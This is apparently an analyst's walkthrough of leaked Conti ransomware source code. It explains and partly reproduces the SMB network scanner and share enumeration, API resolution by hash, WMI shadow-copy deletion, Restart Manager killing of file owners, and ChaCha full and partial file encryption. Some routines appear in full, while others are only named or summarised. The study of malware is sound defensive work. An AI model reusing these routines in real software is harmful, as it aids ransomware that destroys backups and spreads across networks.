prockiller
prockiller
memorySnapshot
- pCreateToolhelp32Snapshot
- pProcess32FirstW
- pProcess32NextW
1 |
|
1
2
3
4
5
6
7
8
9
10
11
12
13 typedef struct tagPROCESSENTRY32W
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // this process
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID; // associated exe
DWORD cntThreads;
DWORD th32ParentProcessID; // this process's parent process
LONG pcPriClassBase; // Base priority of process's threads
DWORD dwFlags;
WCHAR szExeFile[MAX_PATH]; // Path
} PROCESSENTRY32W;szExeFile is the path the exe
Whitelist
add the process that is not explorer.exe to whitelist.So if the file is open, Ransomeware will not encrypt it.
#define TAILQ_INSERT_TAIL(head, elm, field) do {
TAILQ_NEXT((elm), field) = NULL;
(elm)->field.tqe_prev = (head)->tqh_last;
*(head)->tqh_last = (elm);
(head)->tqh_last = &TAILQ_NEXT((elm), field);
} while (0)
1 |
|
global
set some global parameters,maybe used to build different character sample(extension,mutex…..)
- Extention
- DecryptionNote
- EncryptMode
- ALL_ENCRYPT 10
- LOCAL_ENCRYPT 11
- NETWORK_ENCRYPT 12
- BACKUPS_ENCRYPT 13
- PATH_ENCRYPT 14
- IsProcKillerEnabled
- EncryptPath
- EncryptSize
- MutexName
1 | STATIC WCHAR g_Extention[7] = L".EXTEN"; |
logs
logs
- va_start
- va_arg
- va_end
The RtlSecureZeroMemory routine fills a block of memory with zeros in a way that is guaranteed to be secure.
init
init in function main:
1
2
3
4
5
6
7 LPWSTR LogFile = GetCommandLineArg(Argv, Argc, OBFW(L"-log"));
if (LogFile) {
logs::Init(LogFile);
}
1 | logs::Init(LPCWSTR LogFile) |
write
write some errors.
1 | logs::Write(OBFW(L"FindFirstFile fails in directory %s. GetLastError = %lu."), CurrentDirectory.c_str(), pGetLastError()); |
filesystem
filesystem
disks
- SIZE_T BufferLength = (SIZE_T)pGetLogicalDriveStringsW(0, NULL);
- pGetLogicalDriveStringsW(BufferLength, Buffer);
GetLogicalDriveStringsW
1
2
3
4 DWORD GetLogicalDriveStringsW(
[in] DWORD nBufferLength,
[out] LPWSTR lpBuffer
);If the function succeeds, the return value is the length, in characters, of the strings copied to the buffer, not including the terminating null character. Note that an ANSI-ASCII null character uses one byte, but a Unicode (UTF-16) null character uses two bytes.
If the buffer is not large enough, the return value is greater than nBufferLength. It is the size of the buffer required to hold the drive strings.
1 |
|
search
MakeSearchMask
- used to generate a search mask path
MakePath
- used to generate the file path
CheckDirectory
check if the
directory
is in the Blacklist, if yes then pass this directory. This is to make sure the system running without breaking.- ```
OBFW(L”tmp”),
OBFW(L”winnt”),
OBFW(L”temp”),
OBFW(L”thumb”),
OBFW(L”$Recycle.Bin”),
OBFW(L”$RECYCLE.BIN”),
OBFW(L”System Volume Information”),
OBFW(L”Boot”),
OBFW(L”Windows”),
OBFW(L”Trend Micro”),
OBFW(L”perflogs”)1
2
3
4
5
6
7
8
9
10
11
12
13
14
- CheckFilename
- check if the `file` is in the Blacklist, if yes then pass this file. This is to make sure the system running without breaking.
- ```
OBFW(L".exe"),
OBFW(L".dll"),
OBFW(L".lnk"),
OBFW(L".sys"),
OBFW(L".msi"),
OBFW(L"readme.txt"),
OBFW(L"CONTI_LOG.txt"),
OBFW(L".bat")
- ```
DropInstruction
- release the reame.txt to every directory that is encrypted by Ransomeware.
- the DecryptionNotes is encrypted with chacha
- the first 16 bytes is the key
- the 16-20 bytes is the iv
- the follow is the encrypted data
SearchFiles
DropInstruction
1 | DropInstruction(__in std::wstring Directory) |
networkscanner
networkscanner
complex network scanner code.
PortScanHandler
- pGetQueuedCompletionStatus
- pPostQueuedCompletionStatus
- START_COMPLETION_KEY
- CONNECT_COMPLETION_KEY
- TIMER_COMPLETION_KEY
- CancelIo
- Cancels all pending input and output (I/O) operations that are issued by the calling thread for the specified file. The function does not cancel I/O operations that other threads issue for a file handle.
- shutdown
- The shutdown function disables sends or receives on a socket.
TimerCallback
if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) { pExitThread(EXIT_FAILURE); }
1
2
3
4
5
6
7
8
9
10
11
12
13
- a callback function that used with PostQueuedCompletionStatus.
- ```c
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback,
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);The amount of time in milliseconds relative to the current time that must elapse before the timer is signaled for the first time.
so 30000 / 1000 = 30s, one call to the Callback function(TimerCallback),if connection is set then CancelIo it .if not ,then shutdown and close the socket
1 | else if (CompletionStatus == TIMER_COMPLETION_KEY) { |
EnumShares
NetShareEnum
- Retrieves information about each shared resource on a server.
sharepath
Constant/value Description STYPE_DISKTREE0x00000000 Disk drive STYPE_SPECIAL0x80000000 Special share reserved for interprocess communication (IPC$) or remote administration of the server (ADMIN$). Can also refer to administrative shares such as C$, D$, E$, and so forth. STYPE_TEMPORARY0x40000000 A temporary share that is not persisted for creation each time the file server initializes.
1 | VOID |
StartScan
1 | network_scanner::StartScan() |
GetCurrentIpAddress
pgethostname
SOCKET_ERROR == (INT)pgethostname(szHostName, 256)
g_HostEntry = (struct hostent*)pgethostbyname(szHostName);
If no error occurs, gethostname returns zero. Otherwise,
it returns SOCKET_ERROR and a specific error code can be retrieved by calling WSAGetLastError.
1 | STATIC |
GetConnectEX
- WSASocketW
- creates a socket that is bound to a specific transport-service provider
- WSAIoctl
- controls the mode of a socket.
- closesocket
1 | STATIC |
GetSubnets
- GetIpNetTable
- GetIpNetTable(IpNetTable, &TableSize, FALSE);(to get the table size)
- ULONG Result = (ULONG)pGetIpNetTable(IpNetTable, &TableSize, FALSE);(to get the result)
- The GetIfTable function retrieves the MIB-II interface table.
if the ip is start with “172.”,”192.168.”,”10.”,”169.”, there are subnets in this host.
And check if the subnet is already in the SubnetList . If not , add this SubnetInfo into SubnetList
1 | IpNetTable = (PMIB_IPNETTABLE)m_malloc(TableSize); |
HostHandler
pEnterCriticalSection(&g_CriticalSection);
When more than one processes access a same code segment that segment is known as critical section. Critical section contains shared variables or resources which are needed to be synchronized to maintain consistency of data variable.Critical Section in Synchronization
```c
pEnterCriticalSection(&g_CriticalSection);PHOST_INFO HostInfo = TAILQ_FIRST(&g_HostList);
if (HostInfo == NULL) {
pLeaveCriticalSection(&g_CriticalSection);
pSleep(1000);
continue;
}
TAILQ_REMOVE(&g_HostList, HostInfo, Entries);
pLeaveCriticalSection(&g_CriticalSection);1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
- `network_scanner::PSHARE_INFO ShareInfo = TAILQ_FIRST(&ShareList);`
- get the host's shareinfo
- `threadpool::PutTask(threadpool::NETWORK_THREADPOOL, ShareInfo->wszSharePath);`
```c
STATIC
DWORD
WINAPI
HostHandler(__in PVOID pArg)
{
network_scanner::SHARE_LIST ShareList;
TAILQ_INIT(&ShareList);
while (TRUE) {
pEnterCriticalSection(&g_CriticalSection);
PHOST_INFO HostInfo = TAILQ_FIRST(&g_HostList);
if (HostInfo == NULL) {
pLeaveCriticalSection(&g_CriticalSection);
pSleep(1000);
continue;
}
TAILQ_REMOVE(&g_HostList, HostInfo, Entries);
pLeaveCriticalSection(&g_CriticalSection);
if (HostInfo->dwAddres == STOP_MARKER) {
free(HostInfo);
pExitThread(EXIT_SUCCESS);
}
network_scanner::EnumShares(HostInfo->wszAddress, &ShareList);
while (!TAILQ_EMPTY(&ShareList))
{
network_scanner::PSHARE_INFO ShareInfo = TAILQ_FIRST(&ShareList);
logs::Write(OBFW(L"Starting search on share %s."), ShareInfo->wszSharePath);
threadpool::PutTask(threadpool::NETWORK_THREADPOOL, ShareInfo->wszSharePath);
TAILQ_REMOVE(&ShareList, ShareInfo, Entries);
free(ShareInfo);
}
free(HostInfo);
}
pExitThread(EXIT_SUCCESS);
return EXIT_SUCCESS;
}
CreateHostTable
- WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
- socket with tcp
- bind
- The bind function associates a local address with a socket.
- CreateIoCompletionPort((HANDLE)ConnectCtx->s, g_IocpHandle, CONNECT_COMPLETION_KEY, 0)
- Creates an input/output (I/O) completion port and associates it with a specified file handle, or creates an I/O completion port that is not yet associated with a file handle, allowing association at a later time.
- If the function succeeds, the return value is the handle to an I/O completion port
1 | STATIC |
ScanHosts
ConnectEx
The ConnectEx function establishes a connection to a specified socket, and optionally sends data once the connection is established. The ConnectEx function is only supported on connection-oriented sockets.
```
LPFN_CONNECTEX LpfnConnectex;BOOL LpfnConnectex(
[in] SOCKET s,
[in] const sockaddr *name,
[in] int namelen,
[in, optional] PVOID lpSendBuffer,
[in] DWORD dwSendDataLength,
[out] LPDWORD lpdwBytesSent,
[in] LPOVERLAPPED lpOverlapped
)
{…}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
```c
STATIC
VOID
ScanHosts()
{
PCONNECT_CONTEXT ConnectCtx = NULL;
TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {
DWORD dwBytesSent;
SOCKADDR_IN SockAddr;
RtlSecureZeroMemory(&SockAddr, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(SMB_PORT);
SockAddr.sin_addr.s_addr = ConnectCtx->dwAddres;
if (g_ConnectEx(ConnectCtx->s, (CONST SOCKADDR*) & SockAddr, sizeof(SockAddr), NULL, 0, &dwBytesSent, (LPOVERLAPPED)ConnectCtx)) {
ConnectCtx->State = CONNECTED;
AddHost(ConnectCtx->dwAddres);
}
else if (WSA_IO_PENDING == WSAGetLastError()) {
g_ActiveOperations++;
ConnectCtx->State = CONNECTING;
}
}
}
AddHost
- add the new-found host to the Host table
1 | STATIC |
PortScanHandler
this handler use the CompletionStatus,IsTimerActivated,g_ActiveOperations
to control the code flow.
- g_ActiveOperations
- use to count the Socket.
ScanHosts
function: when one host is found ,the value is add by one- if
CompletionStatus == CONNECT_COMPLETION_KEY
, the value sub by one.
- IsTimerActivated
- used to check after the timer.
- IsTimerActivated is True,
- used to check after the timer.
four scenes
CompletionStatus == CONNECT_COMPLETION_KEY and CompleteAsyncConnect Success
if g_ActiveOperations is zero ,then scanHost again
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25if (!g_ActiveOperations && IsTimerActivated) {
while (!TAILQ_EMPTY(&g_ConnectionList)) {
PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);
}
if (!CreateHostTable()) {
break;
}
ScanHosts();
if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}
IsTimerActivated = FALSE;
}if (Success && CompleteAsyncConnect(ConnectContext->s)) { ConnectContext->State = CONNECTED; AddHost(ConnectContext->dwAddres); }
CompletionStatus == CONNECT_COMPLETION_KEY and CompleteAsyncConnect fail
- the same as before
1 | else { |
- CompletionStatus == TIMER_COMPLETION_KEY and g_ActiveOperations, so the connecting is Active.We can Cancel it now.
1 | if (g_ActiveOperations) { |
CompletionStatus == TIMER_COMPLETION_KEY and g_ActiveOperations == 0
, the socket is out-of-time.
1 | else { |
CompletionStatus
- A pointer to a variable that receives the completion key value associated with the file handle whose I/O operation has completed. A completion key is a per-file key that is specified in a call to CreateIoCompletionPort.
- START_COMPLETION_KEY
- CONNECT_COMPLETION_KEY
- TIMER_COMPLETION_KEY
- A pointer to a variable that receives the completion key value associated with the file handle whose I/O operation has completed. A completion key is a per-file key that is specified in a call to CreateIoCompletionPort.
PortScanHandler
- pGetQueuedCompletionStatus
- pPostQueuedCompletionStatus
- CancelIo
- Cancels all pending input and output (I/O) operations that are issued by the calling thread for the specified file. The function does not cancel I/O operations that other threads issue for a file handle.
- shutdown
- The shutdown function disables sends or receives on a socket.
TimerCallback
if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) { pExitThread(EXIT_FAILURE); }
1
2
3
4
5
6
7
8
9
10
11
12
13
- a callback function that used with PostQueuedCompletionStatus.
- ```c
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback,
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);The amount of time in milliseconds relative to the current time that must elapse before the timer is signaled for the first time.
so 30000 / 1000 = 30s, one call to the Callback function(TimerCallback),if connection is set then CancelIo it .if not ,then shutdown or close the socket
1 | STATIC |
Reference:
[Critical Section in Synchronization](
api
getapi
#define KERNEL32DLL_HASH 0xb26771d8
#define LOADLIBRARYA_HASH 0x439c7e33
getapi::IsRestartManagerLoaded,getapi::SetRestartManagerLoaded function is used to KillFileOwner function.It will check if Rstrtmgr.dll is loaded.
self-realize function such as my_stoi、FindChar、m_memcpy、StrLen
getapi::InitializeGetapiModule
first generate the function LoadlibraryA
- GetKernel32
- GetApiAddr
1 | getapi::InitializeGetapiModule() |
getapi::GetProcAddressEx
GetProcAddress by the ModuleName or the ModuleId follow.
1 | enum MODULES { |
- pLoadLibraryA
- GetApiAddr get the api function address by the Hash argument
1 | LPVOID |
getapi::GetProcAddressEx2
get the api function address by Hash
1 | pFunction = (BOOL(WINAPI*)(HANDLE))getapi::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1cae2a52, 109);//GetProcAddress(hKernel32, OBFA("CancelIo")); |
the ApiCache is to forbid call GetProcAddressEx twice for the same function.
1 | LPVOID |
GetForvardedProc
first, this is the .dll string.
1 | char szDll[] = { '.','c','k','m',0 }; |
use the NameStr(ordNumber) to get each funtion of the dll.
1 | ++NameStr; |
or this will call this part of code, use the MurmurHash2A to import the function
1 | DWORD Hash = MurmurHash2A(NameStr, StrLen(NameStr), HASHING_SEED); |
1 | STATIC |
CheckForForvardedProc
used to check if the dll function is all imported.
1 | BOOL CheckForForvardedProc(ADDR Addr, PIMAGE_EXPORT_DIRECTORY Table, DWORD DataSize) |
GetFunctionAddresss
- convert the function address that in the export function table.
- use the Ordinal to get the RVA
- RVA TO VA
1 | ADDR GetFunctionAddresss(HMODULE Module, PIMAGE_EXPORT_DIRECTORY Table, LONG Ordinal) |
ReturnAddress
this function is not called in the whole code.
void CopyMemory(
In PVOID Destination,
In const VOID *Source,
In SIZE_T Length
);
get the first 4 byte of dwAddress, then temp+=1 ,to get the three byte code(I guess it is the jmp address).It’s will Maybe used in hook.
1 | VOID ReturnAddress(PDWORD pAddress, DWORD dwAddress) |
FindFunction
this function is not called.
return the Ordinary the hash in the Module’s export table.
1 | STATIC |
GetApiAddr
find the ProcNameHash in the dll export function table, and then call function
- GetFunctionAddresss get the function address,and pass to the Next function CheckForForvardedProc
- CheckForForvardedProc check if the function is outside the export function table
- GetForvardedProc
- getapi::GetProcAddressEx(DLLName, 0, OrdNomber);
- GetForvardedProc
1 | ADDR GetApiAddr(HMODULE Module, DWORD ProcNameHash, ADDR* Address) |
GetHashBase
get the Module Name ,generate and return the hash
1 | GetHashBase(__in LDR_MODULE* mdll) |
GetKernel32
the peb is used to get the DllList.Loop the DllList and find the kernel32.
1 | do |
then you can get the kernel32 handle with the base
1 | krnl32 = static_cast<HMODULE>(mdl->base); |
1 | GetKernel32() |
hash
MurmurHash2A
convert to lowchar
every 4 byte convert to unsigned int data ,then mmix with the seed. If the length is less than 4, Convert it one by one,then mmix
- ```
#define mmix(h,k) { k *= m; k ^= k >> r; k *= m; h *= m; h ^= k; }1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
- finally return the hash by argument h
```c
#include "hash.h"
#include "..\memory.h"
#define mmix(h,k) { k *= m; k ^= k >> r; k *= m; h *= m; h ^= k; }
#define LowerChar(C) if (C >= 'A' && C <= 'Z') {C = C + ('a'-'A');}
unsigned int MurmurHash2A(const void* key, int len, unsigned int seed)
{
char temp[64];
RtlSecureZeroMemory(temp, 64);
memory::Copy(temp, (PVOID)key, len);
for (int i = 0; i < len; i++) {
LowerChar(temp[i]);
}
const unsigned int m = 0x5bd1e995;
const int r = 24;
unsigned int l = len;
const unsigned char* data = (const unsigned char*)temp;
unsigned int h = seed;
unsigned int k;
while (len >= 4)
{
k = *(unsigned int*)data;
mmix(h, k);
data += 4;
len -= 4;
}
unsigned int t = 0;
switch (len)
{
case 3: t ^= data[2] << 16;
case 2: t ^= data[1] << 8;
case 1: t ^= data[0];
};
mmix(h, t);
mmix(h, l);
h ^= h >> 13;
h *= m;
h ^= h >> 15;
return h;
}
- ```
Cryptor
cryptor
cryptor::SetWhiteListProcess
Set white list Process, pass the specifical process(explorer.exe).
1 | VOID |
cryptor::ChangeFileName
just change the filename, used to add the extension for Encrypted file.
1 | cryptor::ChangeFileName(__in LPCWSTR OldName) |
cryptor::Encrypt
- Genkey
- OpenFileEncrypt
- CheckForDataBases
- WriteEncryptionInfo(FileInfo,FULL_ENCRYPT,0)
- EncryptFull
- CheckForVirtualMachines
- WriteEncryptionInfo(FileInfo,PARTLY_ENCRYPT,20)
- EncryptPartly
- judge the file size and use the fittest funtion to encrypt the different size range of file
1 | BOOL |
cryptor::DeleteShadowCopies
Initialize COM
- hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED)
Set general COM security levels
Registers security and sets the default security values for the process.
1 | pCoInitializeSecurity( |
Obtain the initial locator to WMI
- Intel: pCoCreateInstance(CLSID_WbemLocator,0,CLSCTX_INPROC_SERVER,IID_IWbemLocator, (LPVOID*)&pLoc);
- AMD: pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
- BSTR Arch = pSysAllocString(OBFW(L”__ProviderArchitecture”));
- hres = pContext->SetValue(Arch, 0, &vArchitecture);
1 | IWbemLocator* pLoc = NULL; |
Connect to WMI through the IWbemLocator::ConnectServer method
The WMI namespace root/cimv2 is the default namespace and contains classes for computer hardware and configuration.
1 | BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2")); |
Set security levels on the proxy
1 | hres = (HRESULT)pCoSetProxyBlanket( |
Use the IWbemServices pointer to make requests of WMI
Get the data from the query in step 6
this is the main code of the function
1 | BSTR WqlStr = pSysAllocString(OBFW(L"WQL")); |
get the data from the query and Delete the shadowcopy.
generate the delete shadowcopy command, then use the Enumerator to delete every one of them.
1 | IWbemClassObject* pclsObj = NULL; |
Cleanup
1 | if (pContext) { |
CmdExecW
first set the STARTUPINFOW’s property——wShowWindow, then CreateProcess using the arg Cmdline passed in.
CheckForDataBases
generate a long list of Extensions that are database.And check the file extension if in the Database Extension List.
1 | INT Count = sizeof(Extensions) / sizeof(LPWSTR); |
CheckForVirtualMachines
Extension
OBFW(L”.vdi”),OBFW(L”.vhd”),OBFW(L”.vmdk”),OBFW(L”.pvm”),OBFW(L”.vmem”),OBFW(L”.vmsn”),OBFW(L”.vmsd”),OBFW(L”.nvram”),OBFW(L”.vmx”),OBFW(L”.raw”),OBFW(L”.qcow2”),OBFW(L”.subvol”),OBFW(L”.bin”),OBFW(L”.vsv”),OBFW(L”.avhd”),OBFW(L”.vmrs”),OBFW(L”.vhdx”),OBFW(L”.avdx”),OBFW(L”.vmcx”),OBFW(L”.iso”)
then check the file extension if in the Virtual Machine Extension List.
WriteFullData
a normal write function
1 | STATIC |
KillFileOwner
getapi::IsRestartManagerLoaded()
Restart Manager session,so how can we judge a session is loaded.
We can find the code that modify the value in the anti-hook.cpp, if the Rstrtmgr.dll is loaded, this means the Manager session is loaded.
pRmStartSession
Starts a new Restart Manager session. A maximum of 64 Restart Manager sessions per user session can be open on the system at the same time. When this function starts a session, it returns a session handle and session key that can be used in subsequent calls to the Restart Manager API.
pRmRegisterResources
Registers resources to a Restart Manager session. The Restart Manager uses the list of resources registered with the session to determine which applications and services must be shut down and restarted。Resources can be identified by filenames, service short names, or RM_UNIQUE_PROCESS structures that describe running applications. The RmRegisterResources function can be used by a primary or secondary installer.
pRmGetList
Gets a list of all applications and services that are currently using resources that have been registered with the Restart Manager session.
pRmShutdown
Initiates the shutdown of applications. This function can only be called from the installer that started the Restart Manager session using the RmStartSession function.
1 | BOOL KillFileOwner( |
GenKey
encrypt the public key. The first 32 bytes is the chacha encryption’s key, and the next 4 byte is the IV.
1 | STATIC |
CheckContiPatter
g_ContiPattern is a global arg that has a certain value.Read 16 bytes of the file,And check with below.
STATIC CONST BYTE g_ContiPattern[16] = { 0xab, 0xff, 0x63, 0xa1, 0x6f, 0xa2 , 0x6e, 0x6e, 0xa3, 0x74, 0x69, 0xbf, 0x4c, 0xdd, 0xff, 0xa1 };
1 | STATIC |
WriteEncryptInfo
write the Encryption note to the txt.
mainly use the pSetFilePointerEx to make it.
1 | STATIC |
OpenFileEncrypt
pGetFileAttributesW
pSetFileAttributesW
FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
KillFileOwner
1 | STATIC |
EncryptHeader
encrypt the file’s first 1048576 byte
1 | STATIC |
EncryptPartly
if the file is Virtual Machine Extension, then EncryptPartly
if the filesize is over 5242880 byte, then EncryptPartly.
Judge the file size and decide how many percent the code wanna Encrypt.
the global::GetEncrypSize return value is 50, so if the filesize is over 5242880, it will encrypt the 10% size data of this file.
1 | STATIC |
EncryptFull
It’s the same as EncryptPartly function,just remove the percent argument.
morphcode
Author: scr1pt